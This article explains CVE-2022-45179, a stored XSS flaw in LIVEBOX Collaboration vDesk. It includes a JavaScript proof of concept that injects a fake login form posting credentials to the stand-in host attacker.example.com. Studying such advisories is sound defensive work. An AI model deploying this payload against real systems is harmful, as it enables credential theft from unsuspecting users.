CVE-2022-45179: LIVEBOX Collaboration vDesk XSS Vulnerability Uncovered: Detailed Analysis and Exploit Explanation

A recently discovered security vulnerability has been identified in the LIVEBOX Collaboration vDesk software (versions up to v031). This vulnerability, assigned the identifier CVE-2022-45179, is related to a basic Cross-Site Scripting (XSS) attack that can be exploited by a remote user who is authenticated to the product. Using this exploit, an attacker can store arbitrary HTML code in the reminder section title, effectively corrupting the web page. By doing this, the attacker can potentially create phishing sections to steal victims' credentials, among other nefarious actions.

This article will provide an in-depth explanation of the vulnerability and the exploitation process, including a code snippet that demonstrates the attack, and the original references where you can find more information on the issue.

The Vulnerability: CVE-2022-45179

The XSS vulnerability exists in the LIVEBOX Collaboration vDesk software under the "/api/v1/vdeskintegration/todo/createorupdate" endpoint, through the "title" parameter, and the "/dashboard/reminders" section. This allows a remote authenticated user to store arbitrary HTML code, thereby corrupting the web page and potentially tricking victims into providing their login credentials.

Exploit Details

The attack is carried out by injecting malicious HTML code (such as a phishing form) into the title parameter of the endpoint. When the victim accesses the "/dashboard/reminders" section, the malicious code is executed, and the phishing form is displayed on the page.

Below is a code snippet demonstrating the exploit (assuming the attacker is already authenticated)

// Malicious HTML code example
const phishingForm = `
  <form action="http://attacker.example.com/steal-credentials"; method="POST">
    <label>Enter your login credentials:</label>
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <button type="submit">Submit</button>
  </form>
`;

// AJAX request to send the payload
const xhttp = new XMLHttpRequest();
xhttp.open("POST", "/api/v1/vdeskintegration/todo/createorupdate", true);
xhttp.setRequestHeader("Content-type", "application/json;charset=UTF-8");

const requestBody = {
  title: phishingForm,
};

xhttp.send(JSON.stringify(requestBody));

Once this code is executed, it sends an Ajax request to the API endpoint and stores the malicious phishing form as the title of a new reminder. When an unsuspecting user visits the reminders page, the phishing form gets displayed, and any data entered into it will be sent to the attacker's server.
